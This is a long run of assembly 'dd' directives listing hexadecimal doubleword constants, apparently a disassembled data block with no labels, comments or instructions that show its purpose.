		dd 0C0E09482h, 0C3A1A5Dh, 82642F20h, 0E9E0DF6Eh, 2253851Eh
		dd 404587CDh, 1FECC4F6h, 40A7097Ah, 2CD59E42h, 1A02168Ch
		dd 132B5566h, 0B1C96140h, 2F2EE2E0h, 6402B57Dh,	0B8A94E0Dh
		dd 0A89D0487h, 7830C20Ch, 9FA08073h, 892C8CBDh,	32F309FFh
		dd 7C78A698h, 17116702h, 0FC50E2E8h, 612F80F4h,	31194CE0h
		dd 6A721000h, 2EBEBA34h, 80EE5A6Ch, 6BE9FA10h, 7E420D00h
		dd 9BF891F1h, 2246010Ah, 9235EA5Eh, 80287CE5h, 0D621A7B8h
		dd 3E6E78E4h, 0F81C5Dh,	233ABD7Eh, 0BEAD8FCBh, 685AB427h
		dd 0EA0704h, 0F80C146Eh, 8D5E5FACh, 94EBF9C0h, 1CB79AD8h
		dd 0C00625F4h, 698B5A83h, 68B95BB4h, 26ECA402h,	8E6440FAh
		dd 12EC9408h, 68760013h, 0DE4B361Ch, 0A8FEF801h, 7B073886h
		dd 0A328660h, 0A50C6291h, 0FDBF0C90h, 2F079B91h, 89B86CF7h
		dd 90239F00h, 517F4Ah, 54B1340h, 6FC4F9CDh, 52B83072h
		dd 791D6100h, 6AF75CD4h, 14970022h, 28664146h, 789083BCh
		dd 0C3A528C0h, 0B8B03A87h, 6B8EA15h, 2F0D821Eh,	0B4002024h
		dd 0B0FE6FF7h, 0B81AA32Ah, 0F09E8BAh, 0D4AB5280h, 91A70803h
		dd 0FAC86AC0h, 304ECF3Ah, 89CB08F2h, 858B0DEAh,	0D0305791h
		dd 73006F9Ch, 3EFD322h,	0F712A01h, 767F4643h, 968009EEh
		dd 8108C887h, 8E109060h, 12576Bh, 0A501147Ch, 0B084C2F7h
		dd 54903260h, 79DF712Ch, 6BE0058h, 77DDAEC1h, 0CB018BF4h
		dd 7E95E991h, 0F1A1B407h, 3AD0D504h, 0E6EE0083h, 0F7FF0F8Eh
		dd 0A7000B39h, 2E8FBE41h, 33D3172h, 3A0D14AAh, 9BE9B545h
		dd 0D220819Ch, 2A51EA28h, 60DF75D8h, 8B2F5902h,	0E090DD10h
		dd 237344h, 1E58E767h, 0F7E29165h, 0AF228201h, 0C5E40E14h
		dd 98D6C6E0h, 7F410718h, 0C0967B5Ah, 0DE70BD28h, 0A3332A01h
		dd 0FCF78E02h, 30F1CAE0h, 0CC781A4Dh, 640277B3h, 0C1B10F92h
		dd 0E31DE3F9h, 366A0046h, 0F226FF51h, 0BC7C0156h, 37B33E0Ch
		dd 8E305Dh, 0F4D38FC8h,	0D9BD649Eh, 833D8905h, 880FE8AAh
		dd 0C3DD4329h, 0DD80CB3h, 14D17032h, 5D7F4000h,	1A0211F7h
		dd 0AD98A047h, 34137EFh, 0AF56C011h, 3E148B66h,	2A42EB2h
		dd 89D4BB97h, 0F4EEC06Eh, 0A0BD3DE1h, 0C06D751Eh, 3C4872EDh
		dd 0DB0C01B3h, 6014F0E7h, 997B7BA5h, 0D07F1820h, 38C29F09h
		dd 0A0AD87BCh, 0BDFA29E8h, 118CA02Eh, 0B4E914B8h, 4A01E4ABh
		dd 95AA33BCh, 37FC53E1h, 0ADC25E0h, 0B819C200h,	88AE10C9h
		dd 0D02D03A9h, 0C86BA867h, 0F41BA1B9h, 2300F05Ah, 29EA4FD6h
		dd 1FD98F96h, 3C51DE21h, 69AA1860h, 0B12BA806h,	0FDC12053h
		dd 4E00DA6Fh, 137C26E7h, 66A73Ah, 8BCAA68Fh, 0E62FE80Fh
		dd 56F84Eh, 5BA497C1h, 0E3AD9DC4h, 9AEBD91Ah, 8203B39h
		dd 0C90BC181h, 57001421h, 7EC525ACh, 0E147CF6h,	0D2619CB0h
		dd 3F66DCC0h, 1E03E850h, 31E32591h, 6D6AD10Eh, 8953449h
		dd 0F91180D3h, 0A00FB971h, 3E74C187h, 0F3AEC740h, 0D1002414h
		dd 968780F6h, 127927CBh, 27A5D6Fh, 2D0A8C00h, 0ED953440h
		dd 8BF76802h, 4014895Eh, 1EE46F48h, 0CD7DCA90h,	0D5292701h
		dd 52C51167h, 11913811h, 151225C6h, 8951DD10h, 0A1ED084Ch
		dd 88082928h, 84204F44h, 0E7221122h, 4D285041h,	9E107412h
		dd 81518924h, 64F2E429h, 0A9E8413Ch, 0D6FB00DDh, 8D27266Eh
		dd 0D8E0FCA4h, 216D39h,	0F1B2562Bh, 167A34Eh, 0B1581B4Dh
		dd 0DCB649EEh, 601680Fh, 4FBFC7CEh, 2170B88Ah, 71B100E7h
		dd 1A3D1480h, 6A00E3B3h, 5596A2B4h, 1E79EEh, 32973486h
		dd 2FDBD729h, 0BDA17500h, 10765CDEh, 852B005Fh,	946EAA9Ch
		dd 0A80E5D55h, 0C04A9124h, 596ABDC7h, 652B00EAh, 54D3FBB1h
		dd 4500F875h, 7993D1D6h, 70437334h, 7EE64Ch, 0DE6D15F7h
		dd 635168D0h, 75193100h, 0DC783A56h, 0D87000BAh, 0A95FE4A8h
		dd 2E00320Ah, 0C16506E6h
		dd 0C21FDDh, 6EFF5042h,	8AEB61B1h, 0A20A111Ch, 0DC87125Eh
		dd 0C7B02402h, 390DA0h,	0DB9DA47Ah, 91A10676h, 0FA8A4E00h
		dd 5A1D4B11h, 13EA00B1h, 0C0B8FC50h, 16005C74h,	0CA3D35C2h
		dd 0B68F15h, 0BDD74CFBh, 0C52183E0h, 30037426h,	0C880B21Dh
		dd 565787DCh, 0F43F0032h, 0A89EC4F6h, 0AB004472h, 0B4ACA394h
		dd 4226C7h, 559AF00Dh, 2499A44Bh, 0F18B8C01h, 0C34997A5h
		dd 0A2A3C280h, 0BE81DD9Fh, 0C1EA6A00h, 4BB7C7BFh, 0C86D0029h
		dd 1F447513h, 6F001227h, 2D2314B8h, 3A430C5Dh, 0F385EF36h
		dd 0C6F7D04Ch, 0DD00F8E5h, 44162C6Ch, 3819C676h, 8180EC83h
		dd 0C0025D04h, 177D5972h, 3E343Ch, 40B02FF5h, 58E12E62h
		dd 0AC800CE9h, 1007E7C6h, 0A24A3500h, 67C074B2h, 61B003F8h
		dd 3AD7142Eh, 5FE817ABh, 9B138231h, 260063A5h, 32F93951h
		dd 621D0695h, 29F5884Ah, 0E0280200h, 5CB3350Ch,	98420455h
		dd 0C0C6B9A4h, 57BBC7E0h, 0B86A0830h, 3D89C5D4h, 1D006C94h
		dd 0B2F2171Bh, 0CE24CABEh, 0E2005C85h, 955868B8h, 11FF1F56h
		dd 7DFE8084h, 6DEA9924h, 1A3B2D7Dh, 5F6E0071h, 29FCB78Ch
		dd 0A2CA0642h, 49C10EF5h, 0B51D1E00h, 436D9FD1h, 367E00D7h
		dd 0DA6E214Ch, 0F0768161h, 0D0B43800h, 6AA3B17Bh, 7C3B1868h
		dd 1980604Bh, 13F94801h, 0A057C9A2h, 656065E9h,	0DB8D000Eh
		dd 334C518Ah, 0B8016D9Ah, 0B344437h, 0B740C26Eh, 0BAE65Fh
		dd 9FF89BBFh, 834A369Dh, 0F735A00h, 5358D36Fh, 0D0DD0596h
		dd 0BE6893h, 0CA5DB794h, 321EF564h, 7300240Bh, 33FB62D0h
		dd 941B0008h, 3561D17Ch, 0F000E097h, 9B1801A4h,	0DEA709h
		dd 3902A5EDh, 0C8E4C3D3h, 5D232900h, 6160F6A9h,	3419003Fh
		dd 1D02B19Dh, 3B7C63D9h, 0F002A1F0h, 0DF100C77h, 209CAE9Bh
		dd 3503601h, 0F6F0C056h, 0AD1E464h, 99F89554h, 0B56CAA00h
		dd 516BDBA1h, 94DF012Ch, 0CDAF93CBh, 0BF4406Dh,	9E003355h
		dd 0BF2083F4h, 0BBA5017h, 0E76027A6h, 0EA2CA900h, 62247A1Fh
		dd 2004C891h, 930806E3h, 42E1EE00h, 0EF09ABh, 797DB36Ch
		dd 0FC5135B9h, 444ACB00h, 0C05BA18Dh, 0B14E09F4h, 888191F3h
		dd 2084EE90h, 5072FBBCh, 0F618CCECh, 0D620F496h, 4C4BB88Fh
		dd 0C9000E55h, 0BD98CB39h, 8300C5B7h, 5F9A4531h, 11F975h
		dd 7E78F44Fh, 0B0126A21h, 54980A7Ah, 96AC9700h,	0F08C9318h
		dd 90B80B6Eh, 0C380DE8Fh, 55B9AE1Ah, 0FB01A901h, 4982AA11h
		dd 7BFF0B9h, 3C004C4Dh,	1447E855h, 0C100CAE5h, 494E0AA7h
		dd 0B076A09Eh, 0E4F00090h, 5FFEA95h, 0EE004167h, 9EC9BD8h
		dd 33E6201h, 0F196D5F3h, 34E0A843h, 44008950h, 99C00B6Bh
		dd 6824D39h, 0D6016D47h, 0BF00D6C3h, 0D3A17A28h, 3C6C53D4h
		dd 8CBF205Ch, 87FC3826h, 601EE744h, 0ECD0C0BCh,	0E6000892h
		dd 0F412E30Ch, 95E7Ah, 52BC96B3h, 0A4242E42h, 8B60F80Fh
		dd 3BDB601Ah, 158739A1h, 0A8E772B8h, 40F6301Fh,	0CB5C236Fh
		dd 9D0EB6E2h, 42AB64A5h, 0E026C389h, 71B8DC23h,	0D96200A3h
		dd 6F5EC2D3h, 450036B2h, 9512F71Dh, 331EDB5h, 276A9F1Bh
		dd 3EC04630h, 201D59CFh, 30445C2h, 35C0FE0Dh, 6124A9h
		dd 821ADBECh, 7202D91Bh, 9D9EAA0Eh, 3D3EC4h, 274A8DD5h
		dd 1F415B25h, 815F6985h, 3F023B4Bh, 8F9A3084h, 141C1C60h
		dd 0F43E3188h, 5628002Ah, 68526E42h, 7F03E046h,	70F36F87h
		dd 0FBA7F0EBh, 7A730063h, 4A43900Eh, 0D100133Fh, 0CFE5FCDBh
		dd 48A5AF49h, 0F9017405h, 252870E6h, 0FFB8EB90h, 22006AD1h
		dd 0E8B0923Bh, 69CDE4h,	5A37811Dh, 0B742EDAEh, 6E195300h
		dd 0BDEA857Ch, 0B5101BBh, 0CBD20A5Ch, 14E0FEB3h, 0EB55D0B7h
		dd 873360C0h, 3B79CE00h, 477821E8h, 82860033h, 69F111E1h
		dd 0B0EB71h, 0E500BBB0h, 65A4A0B5h, 9BCCCEh, 0ADAB83F1h
		dd 5E20DA03h, 8C0DA800h, 0DE7D868Dh, 6DF93DB9h,	3457F680h
		dd 6ACB8B4Bh, 75009C90h, 6C85B77Ah, 18664DEFh, 21E597FAh
		dd 2C0352F8h, 3FB5F8Ch,	410C00A1h, 5753D7A9h, 615C68E0h
		dd 0B83A2C25h, 1E282E07h, 0BABA03Fh, 1B0F419h, 61E75E55h
		dd 0F853E450h, 6D09973Bh, 807728B2h, 0B9D0B6FCh, 0F5B1077Fh
		dd 80FE6589h, 9A5D0629h, 0E98FFC00h, 26054188h,	68774CE5h
		dd 6CCCBC00h, 72AC0A9Ch, 7464F012h, 5220A0C0h, 3043592Eh
		dd 581CB200h, 0ADCD3D30h, 11F78200h, 6B872553h,	0C780060h
		dd 472F88C5h, 75095D9Ch, 209BBE09h, 8F0177C8h, 0C427482Bh
		dd 59817773h, 0DF26C8C5h, 9F0C005Ch, 62C4EC8Eh,	6F011A90h
		dd 0E083A80Eh, 9B706481h, 0CF8C0173h, 8AF457FEh, 8FF0306Eh
		dd 15B6B400h, 0DF5601D4h, 0FBB1CBEh, 9F518096h,	4DCEBFB7h
		dd 0AE3EFDE2h, 22FB0349h, 77C1ACB9h, 0D1900E0h,	0CF76BA21h
		dd 3700FA5Fh, 7F901F04h, 0F766CCh, 0EA1E0538h, 0E0AC1CDAh
		dd 0D7D5BD00h, 0B11AE2C5h, 0D6BE3CE1h, 74F0AF00h, 0A509771Dh
		dd 221598C0h, 7305D4Dh,	0F5A1A848h, 8261D05Fh, 0DD00C8A9h
		dd 8E1D0129h, 0F816D279h, 0F44D2844h, 6BD40AD8h, 9424F0h
		dd 80FC5704h, 0DF00C17Dh, 5489FA68h, 75CFEA8h, 325E95DCh
		dd 60DAB2E1h, 4274B880h, 0AC0028F1h, 25BC7E9h, 0E46CBBh
		dd 0CE521F65h, 0B82CA9Dh, 3E97BA03h, 0A44A3416h, 0F54E80C0h
		dd 4A08607Ah, 63B2B8B1h, 44B44Ch, 773A105Bh, 0A394A7h
		dd 4F54859Dh, 0C9015992h, 0BCCD9309h, 0C180071h, 365A39h
		dd 0ED9AC24Bh, 3860050Ah, 0A5C54500h, 5B19AFFAh, 638F002Dh
		dd 0CCD48058h, 3F022790h, 117D5594h, 544C4C6h, 1366998Fh
		dd 0F840E2Ch, 9CA097EBh, 8329E2C8h, 8B7D8E12h, 8C105700h
		dd 1F98AFB4h, 4007F56Ch, 0A995401Fh, 0C000DE92h, 13C8AD41h
		dd 711B338Ah, 0D4CE5819h, 0B1785800h, 41ECA7C7h, 0A942D0B5h
		dd 10735A7Ch, 40D03A1Eh, 2FEE291Dh, 3810CE1Ah, 0DE1C591Bh
		dd 52B840BCh, 4737C518h, 4E300E0Ch, 98D605Eh, 0DA32B18Bh
		dd 97250C40h, 43F4688h,	6D560254h, 89E48740h, 969DC448h
		dd 356F3Bh, 0EE630207h,	1179A9Bh, 2A8DCC38h, 0C013DADDh
		dd 0BD01D04Bh, 917C2109h, 0FC600818h, 43AC0077h, 48D1FA53h
		dd 0A2008A3Eh, 72D9EDFCh, 0F87E94DBh, 0F7531E4Bh, 0AF7FC0D7h
		dd 960107B9h, 7954D0C0h, 5C87DF5Eh, 7B16D647h, 76E00039h
		dd 0A171DBA2h, 83026100h, 3D08320Dh, 7B7F6ACh, 11FAB334h
		dd 2C710280h, 0F4923740h, 0A685700h, 8CC4BBA6h,	1D57904Ah
		dd 402BA774h, 0CF0D91F2h, 0E416D8DDh, 4C83B193h, 1CC4E005h
		dd 755F98E1h, 0CFB50B3Dh, 6D80C706h, 0CEB8215Ch, 4A0D0100h
		dd 6D1252B6h, 0EC870083h, 0F51B9BBh, 2FF49668h,	0ED67081Ch
		dd 15DF8Bh, 773CB0Ch, 482C1684h, 3E1350h, 0C9C7F72Bh, 0A6507D02h
		dd 0A20081A0h, 250DC269h, 3F4583DFh, 0E400FF6Bh, 1C394D0h
		dd 42008F73h, 130C11E2h, 489CC137h, 8089F45Ch, 0D0F2860h
		dd 0E6AB1700h, 0B2988EF7h, 6770F1Bh, 4B402101h,	5FB3054Eh
		dd 89929100h, 2B11E47Fh, 2AAF001Ah, 56BD23CCh, 7B00AC66h
		dd 0FC8C14D5h, 25E12E3Ah, 6882442Dh, 0DCE19E80h, 733E430h
		dd 2E1B2707h, 79501A95h, 1EF7F6E1h, 0C29AB68Fh,	0BBCDEA63h
		dd 0B032058h, 0C2A17E03h, 0CE10094Ch, 0DC0059EFh, 0B84E9FC3h
		dd 81491600h, 1110451Fh, 0E09004A8h, 834F3BB2h,	63E254A4h
		dd 2C1260E4h, 0DEEBh, 0D498E8B8h, 79F9EA8Fh, 5CA60007h
		dd 0FFB99739h
		dd 0C74C4230h, 9DFEC004h, 66E2674h, 12996AECh, 435CD8B1h
		dd 755E003Ch, 0C08D2B79h, 0D9F0BD4Fh, 5744C8C4h, 0DD6B22C0h
		dd 0FE0E00C9h, 0AD61E856h, 2C04D201h, 64E95807h, 63F8E0E1h
		dd 37F793Ch, 0F8318C9h,	0D788C567h, 2F003AD8h, 0E8E61265h
		dd 0D9A553h, 5444D507h,	0F5DE7A10h, 0DCACF801h,	0A6FB0A8Ch
		dd 0BCBE3D4h, 6287E893h, 0DE18E700h, 202087Bh, 0C9BFB238h
		dd 71C50CDh, 8A69B7E1h,	46110281h, 7349CCA0h, 436020FFh
		dd 0DB714F11h, 0EC210003h, 1D0A9FC8h, 2B271459h, 44648031h
		dd 3842C117h, 0B3899C95h, 0D400723Dh, 0CFA2633h, 4CA9F600h
		dd 0DBC1DF45h, 0E8A149EFh, 8CF9100h, 0B4DACE8Ch, 0C6B2A800h
		dd 0BC94ABFEh, 0BFB500E6h, 761C9B9Eh, 0FC05D2A4h, 3AB87AF2h
		dd 0E8150C0h, 5FAC0040h, 0ABA5B383h, 73006BA1h,	0F658B771h
		dd 0DE55E2h, 0AEDAD3BFh, 0D8448EA2h, 2513341Eh,	5089589h
		dd 8381E9E4h, 7E613538h, 1EC2EFDCh, 0B325Ah, 0FDD518C0h
		dd 51002D59h, 0BDDF2B07h, 7623E792h, 0F64C0089h, 21EA8DBAh
		dd 5A04CD7Bh, 17C35C41h, 1FC7E481h, 0F3184DCh, 10409033h
		dd 15EE12C0h, 83003BD7h, 0FD0738Ah, 0FE61B2A9h,	928AC308h
		dd 0E8A028B8h, 8100482Bh, 0E9CB5F56h, 0D90E01h,	0A84CC816h
		dd 44A4AB3Ah, 0B86A6E00h, 69275AF2h, 0A27B283Dh, 0E5762CC8h
		dd 55530009h, 21CF3C0Dh, 0A4691700h, 0EA5CC8EDh, 985403AEh
		dd 8AF573E5h, 5BF2E6D0h, 0DE2F4C1Eh, 0B1A787C0h, 9016EBD5h
		dd 94B01F92h, 0C466C0CDh, 0D02B615Ch, 93DA7317h, 6E334020h
		dd 91F8DDh, 184DD2AEh, 6CDE9DDCh, 20DF8400h, 58EAA4A6h
		dd 0B2F22487h, 0BC230BA0h, 0CBD954A0h, 0AE3E20ECh, 0EFB0FE6h
		dd 0BB36E083h, 7D3DCACDh, 351D0069h, 0E14C8188h, 2600CC71h
		dd 50848938h, 9F673DBh,	0E79F9C82h, 0EFA3A000h,	46011386h
		dd 4B47A1F5h, 64D091CAh, 3004009Fh, 978A6253h, 0BB48DA60h
		dd 774E0054h, 3B810BA1h, 0BCF10028h, 4884D811h,	0C300BD5Ah
		dd 44D2D51Ah, 1A69A93h,	4B675BB1h, 0C02831A8h, 0FB014C0Fh
		dd 8FB24F49h, 15D83A22h, 40773Bh, 77F5A29Eh, 95571785h
		dd 14290300h, 61968B63h, 0C5A609CAh, 0B4E03E90h, 841EB3EFh
		dd 0EDC06D53h, 34ECF7C2h, 6E0B0090h, 0AAA65795h, 4E1E25A8h
		dd 0F60098BCh, 0D11693FEh, 8FCC16F1h, 3DC40B4h,	32386502h
		dd 8B79F1Eh, 365CD004h,	0FF7FEC7h, 355DD100h, 4420082h
		dd 0AD961885h, 4B034E40h, 97198A02h, 5958C0AEh,	9EA609BCh
		dd 5003A1E0h, 33C0ABEDh, 711DACA0h, 1A83D9C6h, 0E8242D82h
		dd 0B4EB73F9h, 6CEF00C8h, 6178A5DBh, 401D0B8h, 7269B14h
		dd 3C703F3Ch, 0F3590047h, 0E5C4B5E1h, 0A8004104h, 0B703ABD7h
		dd 0FCF11EDh, 937A56EFh, 36B8A520h, 0A3038B3Eh,	82AED668h
		dd 4784C8BBh, 41FE008Fh, 91D8036Fh, 0C600433Fh,	0CD6457A6h
		dd 0B86D5C78h, 93B7008Bh, 0A8923EFFh, 61002AE0h, 528AB9FAh
		dd 122E3Bh, 0C0E6CC40h,	6B41746h, 10747500h, 3E3D0B3Ch
		dd 0E007E20Ch, 0AA910265h, 0A4FA6499h, 0E70094F8h, 8EF6E061h
		dd 6CEB29h, 321ACAA8h, 0C41B23F2h, 85BE9E00h, 2034604Dh
		dd 0C8CC003Eh, 58454393h, 0D648D2FFh, 80493850h, 0DBD5035Ch
		dd 1F4692CBh, 870C4144h, 0B1A0B5E3h, 4083AF8Bh,	22C2F5F0h
		dd 0C18F2A12h, 1E8994A4h, 1F44730Bh, 3F5F46D0h,	8F7E186Ch
		dd 0D77523Ah, 40C37213h, 1C409AF1h, 1D52AF85h, 4A78F6Bh
		dd 0C06CF40Ah, 6AFCD306h, 6EDBA300h, 3302E1ADh,	0C8B7A9Ah
		dd 91728D31h, 422A4630h, 5F0084AFh, 0AE7E0D24h,	0F2F8058h
		dd 0DCC3527Fh, 87BF2E60h, 0CE007672h, 0CC37CA03h, 6025CF32h
		dd 9AF74048h, 0F5065D22h, 72ED87E4h, 0EFB40050h, 432D0104h
		dd 0A0EDAA3h, 437AF4E5h, 0E816D0CCh, 0BE87082h,	0C00EF655h
		dd 0EF09FCC0h, 0F4E68B00h, 0FA92D7C1h, 0C2A7004Ch, 5EC73696h
		dd 0DF3656B5h, 0B9D654h, 0C4A4C089h, 876F33E6h,	5F63F376h
		dd 0C1F8ED80h, 183A2A3Bh, 14943147h, 0B5E401Ch,	5B84A9B0h
		dd 556512EDh, 5F48007Fh, 1493C416h, 73E06800h, 84BC64B2h
		dd 0E76C00F7h, 0E4974B28h, 87FA5039h, 201B0401h, 0E1C7BADDh
		dd 0F198830h, 11147546h, 50633947h, 2584FD0Eh, 800F6DF8h
		dd 0A1FE97B1h, 0A45CE1B0h, 0B36E230h, 18DEBC28h, 0D83FBCA0h
		dd 7B72091Dh, 84F4C501h, 9405DA2Fh, 0F8CDFAC0h,	2BBF0390h
		dd 0D79D32E0h, 0DE3CD6E8h, 55E90460h, 1EF2673Bh, 0CEED7AFAh
		dd 7C2AAC6Ch, 0CF970293h, 6056250Dh, 5EDFEE80h,	1CCED92h
		dd 0CB8C1E2Eh, 82532F0Dh, 6FCF0E21h, 0B3A0A0ABh, 108EB47h
		dd 0E538734Eh, 24AA9592h, 0C316E44Ch, 40003FBAh, 4FDEFB3Ch
		dd 4858011Ch, 0DD8B0FD3h, 84002FDBh, 0CEB2361h,	2FC300A2h
		dd 0F322039Ch, 400796Eh, 27BE86FFh, 60C9F29Ah, 237F181Ch
		dd 9F00A80Ah, 5A7BA44Bh, 3EEA61A7h, 787F29D0h, 59061E5Fh
		dd 711601C9h, 0D49C2C97h, 0F7001CD7h, 79227E4Eh, 0F8093075h
		dd 2ED67C6Eh, 30F6C80Ah, 0F2EFFE50h, 6600D9F8h,	35F0D076h
		dd 4E7F0898h, 1EF1077Dh, 18E2B625h, 0B20053EEh,	1BD42688h
		dd 1E59FBC0h, 0F27918Fh, 0C7AC76CDh, 7E00FE28h,	23787942h
		dd 6080051Ch, 92131840h, 0FCF8D162h, 7B82E800h,	0B7AEEBDBh
		dd 0E7792Ch, 0C73FB9DAh, 0D6FE6A84h, 359B6E00h,	8E2D67A0h
		dd 0A17FBAh, 0F009A391h, 0F198B764h, 0C28DF4F9h, 0D8E6030Ah
		dd 0D9949CCDh, 44B804h,	904198B0h, 8A93E48Ch, 143F148h
		dd 266F791Ch, 31BFF689h, 0DA920B02h, 8A603B17h,	8CC3370h
		dd 48B0218Fh, 91002703h, 0F9B6BB13h, 0BF3ECA3Ch, 18EF9470h
		dd 4BD906B8h, 18604874h, 89D6A6F3h, 6505D579h, 95168A7Ch
		dd 3101A803h, 4A300073h, 77625D87h, 48A4226Fh, 0FE920F02h
		dd 19331B17h, 7B41082h,	0A3D50092h, 46063104h, 0A90A66BFh
		dd 0C8DFD7FEh, 0C291F103h, 1C700093h, 5F547C64h, 0C8001E8Ah
		dd 0E3E2F329h, 0DFA3E0Ch, 72C1B998h, 0E1D0C458h, 0D8D081EDh
		dd 52074E90h, 80DD1C4Ch, 2560A6A7h, 6ABF5AE0h, 5CD148A4h
		dd 0A46D8214h, 4D7FC80Ch, 0D91F4448h, 70E96F78h, 9292060Fh
		dd 708F11BEh, 2480B3CBh, 494E6421h, 29DFA300h, 0F997674Bh
		dd 0F3070598h, 4020FF03h, 0B2683CF4h, 3D03AA2Fh, 0B5A1D453h
		dd 16A352h, 0B23FE121h,	0C0508F66h, 39295314h, 74210F8Ch
		dd 6C43D298h, 2EFA9E7h,	5F841681h, 45E09726h, 38C467ABh
		dd 0A023A6Ah, 409305F3h, 0AB79B2E8h, 50226D46h,	0B241E300h
		dd 3E407B11h, 70597F4Fh, 212760FFh, 9720B9B5h, 6355172Eh
		dd 0FC686400h, 1640D4h,	4E96D9BDh, 9A29C27Ah, 0A8A6AD18h
		dd 754D661h, 5F53AFF4h,	0E0A7600Dh, 2903C5DBh, 5BD75E70h
		dd 0A0E6808Bh, 9AD9C1F0h, 80A9AEA5h, 160CE040h,	71AB6DBAh
		dd 3BBF0076h, 684F3D98h, 0A705FA53h, 2B3C2EA0h,	0E86E9000h
		dd 81738AA5h, 0F3A424FBh, 0AF5C7E00h, 4698146Bh, 7D333B2Eh
		dd 0F5D60B86h, 6D75E128h, 0CAA69000h, 0E451FA88h, 5D662EB8h
		dd 68D930EAh, 0A673910Eh, 178464Ch, 0D6D71CB2h,	0E82471FAh
		dd 616A014Eh, 4604FC6Bh, 4514E4F7h, 89C04FE8h, 6602238h
		dd 4D2017Bh, 0D68D9C48h, 0C6715Eh, 35DBE644h, 0A5E31C03h
		dd 90D0DA80h, 22B75EC9h, 0F47E7312h, 6081C106h,	793984DBh
		dd 0ABD5061Ch, 713EF757h, 7C200B00h, 0D9583936h, 0FEA200A7h
		dd 0AAB8B542h, 0AE1F1A17h
		dd 56C0F4CEh, 0FF451277h, 7F8A3026h, 84CCB51h, 0B700EB73h
		dd 4422E309h, 1108AB8h,	9A37D3A4h, 8051FF23h, 990D681h
		dd 983282h, 6B491750h, 0AFAC66EBh, 0D7F16502h, 0A0760768h
		dd 4806D4ECh, 0FC557808h, 44E14D96h, 8153C607h,	469340E6h
		dd 8F061AADh, 0AB77EB31h, 0F4843039h, 285EF2A1h, 193F850Eh
		dd 0B9CA044h, 907A82Fh,	839F436Eh, 60CC8413h, 236BB26Ch
		dd 14115DABh, 0B243E500h, 0E38B3017h, 6C044E2Ch, 7C325B16h
		dd 0E4146579h, 0E8803385h, 0EC76BAh, 0C63D07FBh, 2E14A28h
		dd 9D99B91Eh, 0C069EF00h, 600C64C4h, 50071046h,	6000781Ah
		dd 9B9247E9h, 0FCAF40h,	0BE46CA7Dh, 7CC1F5BAh, 18068B00h
		dd 7EBFAD08h, 18CC6079h, 19C5AEEFh, 6C70F467h, 0C26558A1h
		dd 260058BCh, 41DE42D0h, 400EAA81h, 8CABB943h, 1DFF2117h
		dd 400F42A9h, 0B45B1B6Eh, 6D00152Eh, 5084D672h,	36883ECh
		dd 8B36B7C8h, 8005DD9Eh, 56F56B03h, 42CE3420h, 714123DCh
		dd 0D00D211h, 0CA7642A7h, 2600AFA0h, 7E2AFCB6h,	15B8F424h
		dd 98F8EE49h, 0C395501h, 0C50FD54Bh, 2B4080C5h,	0E75818Ah
		dd 0FB58C00Dh, 72421316h, 81E55F3Eh, 0A58C5EDCh, 5CE063A3h
		dd 4A240095h, 1801C7CAh, 6D03760Ch, 0D78067Ch, 42B5F9E2h
		dd 149A196h, 0AE4ECA87h, 0EEA840CFh, 81EDBE39h,	0E2C4EAE8h
		dd 0D450400Fh, 0A034581Dh, 331959CCh, 1A61C20Ch, 1000A970h
		dd 66926933h, 184006DEh, 0D80820EEh, 85007B14h,	0BB291D41h
		dd 912C7Fh, 0F07C61B1h,	767A4DD7h, 0FCBDB80Eh, 0F569E21Eh
		dd 0AAB0B052h, 41D80842h, 1964ABD1h, 42E30140h,	0AD014D4Bh
		dd 5A65F0C8h, 67ECBD21h, 2ED20066h, 41E27D8Dh, 2B528B7Ah
		dd 0EBBC10C0h, 0FF32197Ch, 20071827h, 660894Dh,	261B7AB8h
		dd 8688A021h, 99922840h, 2A90094h, 0B923648Eh, 2A006E49h
		dd 305AF01Ch, 7BF3EDh, 20F18525h, 729195Bh, 52012890h
		dd 761EDA3Dh, 78A8E738h, 2554658h, 41DB42ADh, 17494A9h
		dd 9C42E204h, 0C10214CAh, 0BCD9F83Fh, 310C9001h, 0DFCBF5C6h
		dd 63DE2C4Bh, 64E88601h, 0B03F56FDh, 0FCA849ECh, 0F749400Ch
		dd 311C0950h, 69C4236Ah, 584100CBh, 99F08FB0h, 8A1C7B5Fh
		dd 0E74064C6h, 0A2513739h, 7D8C036Ch, 8B7E5AC4h, 0F1002A9Ah
		dd 120B2E4Dh, 3039C1F6h, 22E1E8B0h, 9C001C92h, 0A3C9F940h
		dd 0F53A02h, 1D904B8Fh,	5B95E99Ah, 56FECB75h, 0CCB66E28h
		dd 0EF395761h, 2AD0AD82h, 432D0147h, 0E2CD914Eh, 0A9C981F9h
		dd 0A2C3483Ch, 122101FCh, 400E0FF3h, 4DB99264h,	0FA00B830h
		dd 10DC6878h, 13A50Bh, 0C87DBD36h, 4C2AE2C5h, 2871C48h
		dd 0CE4C120h, 6F98A047h, 2FDD45h, 7FAFA24Fh, 4B2288C2h
		dd 0B0D63F24h, 0AD58A08h, 80A0CD64h, 31596AB5h,	8DF45334h
		dd 2C169424h, 8BA2063Dh, 930BB95h, 0D4F09CC7h, 60E4CC04h
		dd 107F3312h, 0C81809CAh, 0A02801Eh, 4D7E2333h,	764A0600h
		dd 0ED7ADC2Ah, 663B2647h, 0A3CE0800h, 0C62CD400h, 90DE9D7Ch
		dd 79749124h, 521819h, 0F45C6841h, 29FB8B01h, 0CD7D7E18h
		dd 1C0BDD60h, 0F0DB9ECAh, 0B385D710h, 86038B00h, 23712241h
		dd 7AC817F6h, 0F8091843h, 7C3981E4h, 70644CB2h,	13C1C200h
		dd 0AF91B3B7h, 143D0A8Dh, 80FC0B5Ch, 0AA7FDAA7h, 87B0D12Ch
		dd 0BDF08454h, 0C5203C60h, 12A7FD2h, 30B12EC8h,	0D0CA81BBh
		dd 980E07h, 324950C1h, 108223D7h, 0F814961Eh, 4C45D84Ah
		dd 9E60D0E4h, 0ACA1D83Ch, 0D05A0DC0h, 2BD140DCh, 0DAE5E71Ah
		dd 0EA9060F9h, 7CF60924h, 0E8C330CCh, 1145630Ch, 0F490922Ch
		dd 850259A9h, 614BCD06h, 0AE8CA113h, 398BDCC9h,	3F0CE216h
		dd 0C5003839h, 0F3445F55h, 1B65E9Ah, 0D2B51F8Ch, 207FAB63h
		dd 80927C84h, 1F69E63Ch, 0FC24CF95h, 7563600h, 0A898D15h
		dd 2CBF1643h, 0C4DD1EF0h, 90F3ECD0h, 807B0FC4h,	620C0C98h
		dd 5174C121h, 0B221C0EAh, 75258052h, 0FF9AD007h, 6B00BB6Eh
